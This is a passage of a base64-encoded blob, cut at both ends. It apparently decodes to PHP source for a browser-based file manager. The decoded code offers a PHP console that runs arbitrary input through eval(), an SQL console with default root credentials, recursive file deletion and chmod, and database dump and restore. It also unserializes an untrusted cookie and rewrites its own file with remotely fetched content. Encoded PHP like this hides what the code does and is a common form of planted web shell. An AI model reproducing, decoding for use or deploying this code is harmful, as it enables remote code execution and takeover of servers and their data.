bWF5YmUgc2xvdyAKCSdzaG93X2ltZycgPT4gdHJ1ZSwgCgknc2hvd19waHBfdmVyJyA9PiB0cnVlLCAKCSdzaG93X3BocF9pbmknID0+IGZhbHNlLCAvLyBzaG93IHBhdGggdG8gY3VycmVudCBwaHAuaW5pCgknc2hvd19ndCcgPT4gdHJ1ZSwgLy8gc2hvdyBnZW5lcmF0aW9uIHRpbWUKCSdlbmFibGVfcGhwX2NvbnNvbGUnID0+IHRydWUsCgknZW5hYmxlX3NxbF9jb25zb2xlJyA9PiB0cnVlLAoJJ3NxbF9zZXJ2ZXInID0+ICdsb2NhbGhvc3QnLAoJJ3NxbF91c2VybmFtZScgPT4gJ3Jvb3QnLAoJJ3NxbF9wYXNzd29yZCcgPT4gJycsCgknc3FsX2RiJyA9PiAndGVzdF9iYXNlJywKCSdlbmFibGVfcHJveHknID0+IHRydWUsCgknc2hvd19waHBpbmZvJyA9PiB0cnVlLAoJJ3Nob3dfeGxzJyA9PiB0cnVlLAoJJ2ZtX3NldHRpbmdzJyA9PiB0cnVlLAoJJ3Jlc3RvcmVfdGltZScgPT4gdHJ1ZSwKCSdmbV9yZXN0b3JlX3RpbWUnID0+IGZhbHNlLAopOwoKaWYgKGVtcHR5KCRfQ09PS0lFWydmbV9jb25maWcnXSkpIAp7CiAgICAkZm1fY29uZmlnID0gJGZtX2RlZmF1bHRfY29uZmlnOwp9CmVsc2UgCnsKICAgICRmbV9jb25maWcgPSB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZm1fY29uZmlnJ10pOwp9CgoKLy8gQ2hhbmdlIGxhbmd1YWdlCmlmIChpc3NldCgkX1BPU1RbJ2ZtX2xhbmcnXSkpIHsgCglzZXRjb29raWUoJ2ZtX2xhbmcnLCAkX1BPU1RbJ2ZtX2xhbmcnXSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7CgkkX0NPT0tJRVsnZm1fbGFuZyddID0gJF9QT1NUWydmbV9sYW5nJ107Cn0KJGxhbmd1YWdlID0gJGRlZmF1bHRfbGFuZ3VhZ2U7CgovLyBEZXRlY3QgYnJvd3NlciBsYW5ndWFnZQppZigkZGV0ZWN0X2xhbmcgJiYgIWVtcHR5KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSAmJiBlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSl7CgkkbGFuZ19wcmlvcml0eSA9IGV4cGxvZGUoJywnLCAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSk7CglpZiAoIWVtcHR5KCRsYW5nX3ByaW9yaXR5KSl7CgkJZm9yZWFjaCAoJGxhbmdfcHJpb3JpdHkgYXMgJGxhbmdfYXJyKXsKCQkJJGxuZyA9IGV4cGxvZGUoJzsnLCAkbGFuZ19hcnIpOwoJCQkkbG5nID0gJGxuZ1swXTsKCQkJaWYoaW5fYXJyYXkoJGxuZywkbGFuZ3MpKXsKCQkJCSRsYW5ndWFnZSA9ICRsbmc7CgkJCQlicmVhazsKCQkJfQoJCX0KCX0KfSAKCi8vIENvb2tpZSBsYW5ndWFnZSBpcyBwcmltYXJ5IGZvciBldmVyCiRsYW5ndWFnZSA9IChlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSkgPyAkbGFuZ3VhZ2UgOiAkX0NPT0tJRVsnZm1fbGFuZyddOwoKLy8gTG9jYWxpemF0aW9uCiRsYW5nID0ganNvbl9kZWNvZGUoJHRyYW5zbGF0aW9uLHRydWUpOwppZiAoJGxhbmdbJ2lkJ10hPSRsYW5ndWFnZSkgewoJJGdldF9sYW5nID0gZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9EZW4xeHh4L0ZpbGVtYW5hZ2VyL21hc3Rlci9sYW5ndWFnZXMvJyAuICRsYW5ndWFnZSAuICcuanNvbicpOwoJaWYgKCFlbXB0eSgkZ2V0X2xhbmcpKSB7CgkJLy9yZW1vdmUgdW5uZWNlc3NhcnkgY2hhcmFjdGVycwoJCSR0cmFuc2xhdGlvbl9zdHJpbmcgPSBzdHJfcmVwbGFjZSgiJyIsJyYjMzk7Jyxqc29uX2VuY29kZShqc29uX2RlY29kZSgkZ2V0X2xhbmcpLEpTT05fVU5FU0NBUEVEX1VOSUNPREUpKTsKCQkkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOwoJCSRzZWFyY2ggPSBwcmVnX21hdGNoKCcjdHJhbnNsYXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOwoJCWlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7CgkJCSRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOwoJCQkkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkdHJhbnNsYXRpb25fc3RyaW5nLCRmZ2MpOwoJCQlpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgewoJCQkJJG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7CgkJCX0JZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOwoJCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7CgkJfQkKCQkkbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbl9zdHJpbmcsdHJ1ZSk7Cgl9Cn0KCi8qIEZ1bmN0aW9ucyAqLwoKLy90cmFuc2xhdGlvbgpmdW5jdGlvbiBfXygkdGV4dCl7CglnbG9iYWwgJGxhbmc7CglpZiAoaXNzZXQoJGxhbmdbJHRleHRdKSkgcmV0dXJuICRsYW5nWyR0ZXh0XTsKCWVsc2UgcmV0dXJuICR0ZXh0Owp9OwoKLy9kZWxldGUgZmlsZXMgYW5kIGRpcnMgcmVjdXJzaXZlbHkKZnVuY3Rpb24gZm1fZGVsX2ZpbGVzKCRmaWxlLCAkcmVjdXJzaXZlID0gZmFsc2UpIHsKCWlmKCRyZWN1cnNpdmUgJiYgQGlzX2RpcigkZmlsZSkpIHsKCQkkZWxzID0gZm1fc2Nhbl9kaXIoJGZpbGUsICcnLCAnJywgdHJ1ZSk7CgkJZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsKCQkJaWYoJGVsICE9ICcuJyAmJiAkZWwgIT0gJy4uJyl7CgkJCQlmbV9kZWxfZmlsZXMoJGZpbGUgLiAnLycgLiAkZWwsIHRydWUpOwoJCQl9CgkJfQoJfQoJaWYoQGlzX2RpcigkZmlsZSkpIHsKCQlyZXR1cm4gcm1kaXIoJGZpbGUpOwoJfSBlbHNlIHsKCQlyZXR1cm4gQHVubGluaygkZmlsZSk7Cgl9Cn0KCi8vZmlsZSBwZXJtcwpmdW5jdGlvbiBmbV9yaWdodHNfc3RyaW5nKCRmaWxlLCAkaWYgPSBmYWxzZSl7CgkkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwoJJGluZm8gPSAnJzsKCWlmKCEkaWYpewoJCWlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKCQkJLy9Tb2NrZXQKCQkJJGluZm8gPSAncyc7CgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgewoJCQkvL1N5bWJvbGljIExpbmsKCQkJJGluZm8gPSAnbCc7CgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgewoJCQkvL1JlZ3VsYXIKCQkJJGluZm8gPSAnLSc7CgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewoJCQkvL0Jsb2NrIHNwZWNpYWwKCQkJJGluZm8gPSAnYic7CgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgewoJCQkvL0RpcmVjdG9yeQoJCQkkaW5mbyA9ICdkJzsKCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7CgkJCS8vQ2hhcmFjdGVyIHNwZWNpYWwKCQkJJGluZm8gPSAnYyc7CgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewoJCQkvL0ZJRk8gcGlwZQoJCQkkaW5mbyA9ICdwJzsKCQl9IGVsc2UgewoJCQkvL1Vua25vd24KCQkJJGluZm8gPSAndSc7CgkJfQoJfQogIAoJLy9Pd25lcgoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwoJKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOgoJKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAKCS8vR3JvdXAKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDoKCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwogCgkvL1dvcmxkCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6CgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCglyZXR1cm4gJGluZm87Cn0KCmZ1bmN0aW9uIGZtX2NvbnZlcnRfcmlnaHRzKCRtb2RlKSB7CgkkbW9kZSA9IHN0cl9wYWQoJG1vZGUsOSwnLScpOwoJJHRyYW5zID0gYXJyYXkoJy0nPT4nMCcsJ3InPT4nNCcsJ3cnPT4nMicsJ3gnPT4nMScpOwoJJG1vZGUgPSBzdHJ0cigkbW9kZSwkdHJhbnMpOwoJJG5ld21vZGUgPSAnMCc7Cgkkb3duZXIgPSAoaW50KSAkbW9kZVswXSArIChpbnQpICRtb2RlWzFdICsgKGludCkgJG1vZGVbMl07IAoJJGdyb3VwID0gKGludCkgJG1vZGVbM10gKyAoaW50KSAkbW9kZVs0XSArIChpbnQpICRtb2RlWzVdOyAKCSR3b3JsZCA9IChpbnQpICRtb2RlWzZdICsgKGludCkgJG1vZGVbN10gKyAoaW50KSAkbW9kZVs4XTsgCgkkbmV3bW9kZSAuPSAkb3duZXIgLiAkZ3JvdXAgLiAkd29ybGQ7CglyZXR1cm4gaW50dmFsKCRuZXdtb2RlLCA4KTsKfQoKZnVuY3Rpb24gZm1fY2htb2QoJGZpbGUsICR2YWwsICRyZWMgPSBmYWxzZSkgewoJJHJlcyA9IEBjaG1vZChyZWFscGF0aCgkZmlsZSksICR2YWwpOwoJaWYoQGlzX2RpcigkZmlsZSkgJiYgJHJlYyl7CgkJJGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlKTsKCQlmb3JlYWNoICgkZWxzIGFzICRlbCkgewoJCQkkcmVzID0gJHJlcyAmJiBmbV9jaG1vZCgkZmlsZSAuICcvJyAuICRlbCwgJHZhbCwgdHJ1ZSk7CgkJfQoJfQoJcmV0dXJuICRyZXM7Cn0KCi8vbG9hZCBmaWxlcwpmdW5jdGlvbiBmbV9kb3dubG9hZCgkZmlsZV9uYW1lKSB7CiAgICBpZiAoIWVtcHR5KCRmaWxlX25hbWUpKSB7CgkJaWYgKGZpbGVfZXhpc3RzKCRmaWxlX25hbWUpKSB7CgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IiAuIGJhc2VuYW1lKCRmaWxlX25hbWUpKTsgICAKCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2ZvcmNlLWRvd25sb2FkIik7CgkJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2Rvd25sb2FkIik7CgkJCWhlYWRlcigiQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlciIpOyAgICAgICAgICAgIAoJCQloZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiIC4gZmlsZXNpemUoJGZpbGVfbmFtZSkpOwkJCgkJCWZsdXNoKCk7IC8vIHRoaXMgZG9lc24ndCByZWFsbHkgbWF0dGVyLgoJCQkkZnAgPSBmb3BlbigkZmlsZV9uYW1lLCAiciIpOwoJCQl3aGlsZSAoIWZlb2YoJGZwKSkgewoJCQkJZWNobyBmcmVhZCgkZnAsIDY1NTM2KTsKCQkJCWZsdXNoKCk7IC8vIHRoaXMgaXMgZXNzZW50aWFsIGZvciBsYXJnZSBkb3dubG9hZHMKCQkJfSAKCQkJZmNsb3NlKCRmcCk7CgkJCWRpZSgpOwoJCX0gZWxzZSB7CgkJCWhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcsIHRydWUsIDQwNCk7CgkJCWhlYWRlcignU3RhdHVzOiA0MDQgTm90IEZvdW5kJyk7IAoJCQlkaWUoKTsKICAgICAgICB9CiAgICB9IAp9CgovL3Nob3cgZm9sZGVyIHNpemUKZnVuY3Rpb24gZm1fZGlyX3NpemUoJGYsJGZvcm1hdD10cnVlKSB7CglpZigkZm9ybWF0KSAgewoJCSRzaXplPWZtX2Rpcl9zaXplKCRmLGZhbHNlKTsKCQlpZigkc2l6ZTw9MTAyNCkgcmV0dXJuICRzaXplLicgYnl0ZXMnOwoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQpLDIpLicmbmJzcDtLYic7CgkJZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQpLDIpLicmbmJzcDtNYic7CgkJZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7R2InOwoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtUYic7IC8vOikpKQoJCWVsc2UgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtQYic7IC8vIDstKQoJfSBlbHNlIHsKCQlpZihpc19maWxlKCRmKSkgcmV0dXJuIGZpbGVzaXplKCRmKTsKCQkkc2l6ZT0wOwoJCSRkaD1vcGVuZGlyKCRmKTsKCQl3aGlsZSgoJGZpbGU9cmVhZGRpcigkZGgpKSE9PWZhbHNlKSB7CgkJCWlmKCRmaWxlPT0nLicgfHwgJGZpbGU9PScuLicpIGNvbnRpbnVlOwoJCQlpZihpc19maWxlKCRmLicvJy4kZmlsZSkpICRzaXplKz1maWxlc2l6ZSgkZi4nLycuJGZpbGUpOwoJCQllbHNlICRzaXplKz1mbV9kaXJfc2l6ZSgkZi4nLycuJGZpbGUsZmFsc2UpOwoJCX0KCQljbG9zZWRpcigkZGgpOwoJCXJldHVybiAkc2l6ZStmaWxlc2l6ZSgkZik7IAoJfQp9CgovL3NjYW4gZGlyZWN0b3J5CmZ1bmN0aW9uIGZtX3NjYW5fZGlyKCRkaXJlY3RvcnksICRleHAgPSAnJywgJHR5cGUgPSAnYWxsJywgJGRvX25vdF9maWx0ZXIgPSBmYWxzZSkgewoJJGRpciA9ICRuZGlyID0gYXJyYXkoKTsKCWlmKCFlbXB0eSgkZXhwKSl7CgkJJGV4cCA9ICcvXicgLiBzdHJfcmVwbGFjZSgnKicsICcoLiopJywgc3RyX3JlcGxhY2UoJy4nLCAnXFwuJywgJGV4cCkpIC4gJyQvJzsKCX0KCWlmKCFlbXB0eSgkdHlwZSkgJiYgJHR5cGUgIT09ICdhbGwnKXsKCQkkZnVuYyA9ICdpc18nIC4gJHR5cGU7Cgl9CglpZihAaXNfZGlyKCRkaXJlY3RvcnkpKXsKCQkkZmggPSBvcGVuZGlyKCRkaXJlY3RvcnkpOwoJCXdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGZoKSkpIHsKCQkJaWYoc3Vic3RyKCRmaWxlbmFtZSwgMCwgMSkgIT0gJy4nIHx8ICRkb19ub3RfZmlsdGVyKSB7CgkJCQlpZigoZW1wdHkoJHR5cGUpIHx8ICR0eXBlID09ICdhbGwnIHx8ICRmdW5jKCRkaXJlY3RvcnkgLiAnLycgLiAkZmlsZW5hbWUpKSAmJiAoZW1wdHkoJGV4cCkgfHwgcHJlZ19tYXRjaCgkZXhwLCAkZmlsZW5hbWUpKSl7CgkJCQkJJGRpcltdID0gJGZpbGVuYW1lOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKCRmaCk7CgkJbmF0c29ydCgkZGlyKTsKCX0KCXJldHVybiAkZGlyOwp9CgpmdW5jdGlvbiBmbV9saW5rKCRnZXQsJGxpbmssJG5hbWUsJHRpdGxlPScnKSB7CglpZiAoZW1wdHkoJHRpdGxlKSkgJHRpdGxlPSRuYW1lLicgJy5iYXNlbmFtZSgkbGluayk7CglyZXR1cm4gJyZuYnNwOyZuYnNwOzxhIGhyZWY9Ij8nLiRnZXQuJz0nLmJhc2U2NF9lbmNvZGUoJGxpbmspLiciIHRpdGxlPSInLiR0aXRsZS4nIj4nLiRuYW1lLic8L2E+JzsKfQoKZnVuY3Rpb24gZm1fYXJyX3RvX29wdGlvbigkYXJyLCRuLCRzZWw9JycpewoJZm9yZWFjaCgkYXJyIGFzICR2KXsKCQkkYj0kdlskbl07CgkJJHJlcy49JzxvcHRpb24gdmFsdWU9IicuJGIuJyIgJy4oJHNlbCAmJiAkc2VsPT0kYj8nc2VsZWN0ZWQnOicnKS4nPicuJGIuJzwvb3B0aW9uPic7Cgl9CglyZXR1cm4gJHJlczsKfQoKZnVuY3Rpb24gZm1fbGFuZ19mb3JtICgkY3VycmVudD0nZW4nKXsKcmV0dXJuICcKPGZvcm0gbmFtZT0iY2hhbmdlX2xhbmciIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPgoJPHNlbGVjdCBuYW1lPSJmbV9sYW5nIiB0aXRsZT0iJy5fXygnTGFuZ3VhZ2UnKS4nIiBvbmNoYW5nZT0iZG9jdW1lbnQuZm9ybXNbXCdjaGFuZ2VfbGFuZ1wnXS5zdWJtaXQoKSIgPgoJCTxvcHRpb24gdmFsdWU9ImVuIiAnLigkY3VycmVudD09J2VuJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0VuZ2xpc2gnKS4nPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0iZGUiICcuKCRjdXJyZW50PT0nZGUnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnR2VybWFuJykuJzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9InJ1IiAnLigkY3VycmVudD09J3J1Jz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ1J1c3NpYW4nKS4nPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0iZnIiICcuKCRjdXJyZW50PT0nZnInPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnRnJlbmNoJykuJzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9InVrIiAnLigkY3VycmVudD09J3VrJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ1VrcmFpbmlhbicpLic8L29wdGlvbj4KCTwvc2VsZWN0Pgo8L2Zvcm0+Cic7Cn0KCQpmdW5jdGlvbiBmbV9yb290KCRkaXJuYW1lKXsKCXJldHVybiAoJGRpcm5hbWU9PScuJyBPUiAkZGlybmFtZT09Jy4uJyk7Cn0KCmZ1bmN0aW9uIGZtX3BocCgkc3RyaW5nKXsKCSRkaXNwbGF5X2Vycm9ycz1pbmlfZ2V0KCdkaXNwbGF5X2Vycm9ycycpOwoJaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMScpOwoJb2Jfc3RhcnQoKTsKCWV2YWwodHJpbSgkc3RyaW5nKSk7CgkkdGV4dCA9IG9iX2dldF9jb250ZW50cygpOwoJb2JfZW5kX2NsZWFuKCk7Cglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICRkaXNwbGF5X2Vycm9ycyk7CglyZXR1cm4gJHRleHQ7Cn0KCi8vU0hPVyBEQVRBQkFTRVMKZnVuY3Rpb24gZm1fc3FsX2Nvbm5lY3QoKXsKCWdsb2JhbCAkZm1fY29uZmlnOwoJcmV0dXJuIG5ldyBteXNxbGkoJGZtX2NvbmZpZ1snc3FsX3NlcnZlciddLCAkZm1fY29uZmlnWydzcWxfdXNlcm5hbWUnXSwgJGZtX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10sICRmbV9jb25maWdbJ3NxbF9kYiddKTsKfQoKZnVuY3Rpb24gZm1fc3FsKCRxdWVyeSl7CglnbG9iYWwgJGZtX2NvbmZpZzsKCSRxdWVyeT10cmltKCRxdWVyeSk7CglvYl9zdGFydCgpOwoJJGNvbm5lY3Rpb24gPSBmbV9zcWxfY29ubmVjdCgpOwoJaWYgKCRjb25uZWN0aW9uLT5jb25uZWN0X2Vycm9yKSB7CgkJb2JfZW5kX2NsZWFuKCk7CQoJCXJldHVybiAkY29ubmVjdGlvbi0+Y29ubmVjdF9lcnJvcjsKCX0KCSRjb25uZWN0aW9uLT5zZXRfY2hhcnNldCgndXRmOCcpOwogICAgJHF1ZXJpZWQgPSBteXNxbGlfcXVlcnkoJGNvbm5lY3Rpb24sJHF1ZXJ5KTsKCWlmICgkcXVlcmllZD09PWZhbHNlKSB7CgkJb2JfZW5kX2NsZWFuKCk7CQoJCXJldHVybiBteXNxbGlfZXJyb3IoJGNvbm5lY3Rpb24pOwogICAgfSBlbHNlIHsKCQlpZighZW1wdHkoJHF1ZXJpZWQpKXsKCQkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9hc3NvYygkcXVlcmllZCkpIHsKCQkJCSRxdWVyeV9yZXN1bHRbXT0gICRyb3c7CgkJCX0KCQl9CgkJJHZkdW1wPWVtcHR5KCRxdWVyeV9yZXN1bHQpPycnOnZhcl9leHBvcnQoJHF1ZXJ5X3Jlc3VsdCx0cnVlKTsJCgkJb2JfZW5kX2NsZWFuKCk7CQoJCSRjb25uZWN0aW9uLT5jbG9zZSgpOwoJCXJldHVybiAnPHByZT4nLnN0cmlwc2xhc2hlcygkdmR1bXApLic8L3ByZT4nOwoJfQp9CgpmdW5jdGlvbiBmbV9iYWNrdXBfdGFibGVzKCR0YWJsZXMgPSAnKicsICRmdWxsX2JhY2t1cCA9IHRydWUpIHsKCWdsb2JhbCAkcGF0aDsKCSRteXNxbGRiID0gZm1fc3FsX2Nvbm5lY3QoKTsKCSRkZWxpbWl0ZXIgPSAiOyBcbiAgXG4iOwoJaWYoJHRhYmxlcyA9PSAnKicpCXsKCQkkdGFibGVzID0gYXJyYXkoKTsKCQkkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOwoJCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKQl7CgkJCSR0YWJsZXNbXSA9ICRyb3dbMF07CgkJfQoJfSBlbHNlIHsKCQkkdGFibGVzID0gaXNfYXJyYXkoJHRhYmxlcykgPyAkdGFibGVzIDogZXhwbG9kZSgnLCcsJHRhYmxlcyk7Cgl9CiAgICAKCSRyZXR1cm49Jyc7Cglmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKQl7CgkJJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7CgkJJG51bV9maWVsZHMgPSBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQkkcmV0dXJuLj0gJ0RST1AgVEFCTEUgSUYgRVhJU1RTIGAnLiR0YWJsZS4nYCcuJGRlbGltaXRlcjsKCQkkcm93MiA9IG15c3FsaV9mZXRjaF9yb3coJG15c3FsZGItPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSAnLiR0YWJsZSkpOwoJCSRyZXR1cm4uPSRyb3cyWzFdLiRkZWxpbWl0ZXI7CiAgICAgICAgaWYgKCRmdWxsX2JhY2t1cCkgewoJCWZvciAoJGkgPSAwOyAkaSA8ICRudW1fZmllbGRzOyAkaSsrKSAgewoJCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkgewoJCQkJJHJldHVybi49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTKCc7CgkJCQlmb3IoJGo9MDsgJGo8JG51bV9maWVsZHM7ICRqKyspCXsKCQkJCQkkcm93WyRqXSA9IGFkZHNsYXNoZXMoJHJvd1skal0pOwoJCQkJCSRyb3dbJGpdID0gc3RyX3JlcGxhY2UoIlxuIiwiXFxuIiwkcm93WyRqXSk7CgkJCQkJaWYgKGlzc2V0KCRyb3dbJGpdKSkgeyAkcmV0dXJuLj0gJyInLiRyb3dbJGpdLiciJyA7IH0gZWxzZSB7ICRyZXR1cm4uPSAnIiInOyB9CgkJCQkJaWYgKCRqPCgkbnVtX2ZpZWxkcy0xKSkgeyAkcmV0dXJuLj0gJywnOyB9CgkJCQl9CgkJCQkkcmV0dXJuLj0gJyknLiRkZWxpbWl0ZXI7CgkJCX0KCQkgIH0KCQl9IGVsc2UgeyAKCQkkcmV0dXJuID0gcHJlZ19yZXBsYWNlKCIjQVVUT19JTkNSRU1FTlQ9W1xkXSsgI2lzIiwgJycsICRyZXR1cm4pOwoJCX0KCQkkcmV0dXJuLj0iXG5cblxuIjsKCX0KCgkvL3NhdmUgZmlsZQogICAgJGZpbGU9Z21kYXRlKCJZLW0tZF9ILWktcyIsdGltZSgpKS4nLnNxbCc7CgkkaGFuZGxlID0gZm9wZW4oJGZpbGUsJ3crJyk7Cglmd3JpdGUoJGhhbmRsZSwkcmV0dXJuKTsKCWZjbG9zZSgkaGFuZGxlKTsKCSRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcbicuICRmaWxlLiAnLiBcbicuX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPycpIC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnP2RlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOwogICAgcmV0dXJuICRmaWxlLic6ICcuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRmaWxlLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4kZmlsZSkuJyA8YSBocmVmPSIjIiB0aXRsZT0iJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGUgLiAnIiAnIC4gJGFsZXJ0IC4gJz4nIC4gX18oJ0RlbGV0ZScpIC4gJzwvYT4nOwp9CgpmdW5jdGlvbiBmbV9yZXN0b3JlX3RhYmxlcygkc3FsRmlsZVRvRXhlY3V0ZSkgewoJJG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpOwoJJGRlbGltaXRlciA9ICI7IFxuICBcbiI7CiAgICAvLyBMb2FkIGFuZCBleHBsb2RlIHRoZSBzcWwgZmlsZQogICAgJGYgPSBmb3Blbigkc3FsRmlsZVRvRXhlY3V0ZSwicisiKTsKICAgICRzcWxGaWxlID0gZnJlYWQoJGYsZmlsZXNpemUoJHNxbEZpbGVUb0V4ZWN1dGUpKTsKICAgICRzcWxBcnJheSA9IGV4cGxvZGUoJGRlbGltaXRlciwkc3FsRmlsZSk7CgkKICAgIC8vUHJvY2VzcyB0aGUgc3FsIGZpbGUgYnkgc3RhdGVtZW50cwogICAgZm9yZWFjaCAoJHNxbEFycmF5IGFzICRzdG10KSB7CiAgICAgICAgaWYgKHN0cmxlbigkc3RtdCk+Myl7CgkJCSRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJHN0bXQpOwoJCQkJaWYgKCEkcmVzdWx0KXsKCQkJCQkkc3FsRXJyb3JDb2RlID0gbXlzcWxpX2Vycm5vKCRteXNxbGRiLT5jb25uZWN0aW9uKTsKCQkJCQkkc3FsRXJyb3JUZXh0ID0gbXlzcWxpX2Vycm9yKCRteXNxbGRi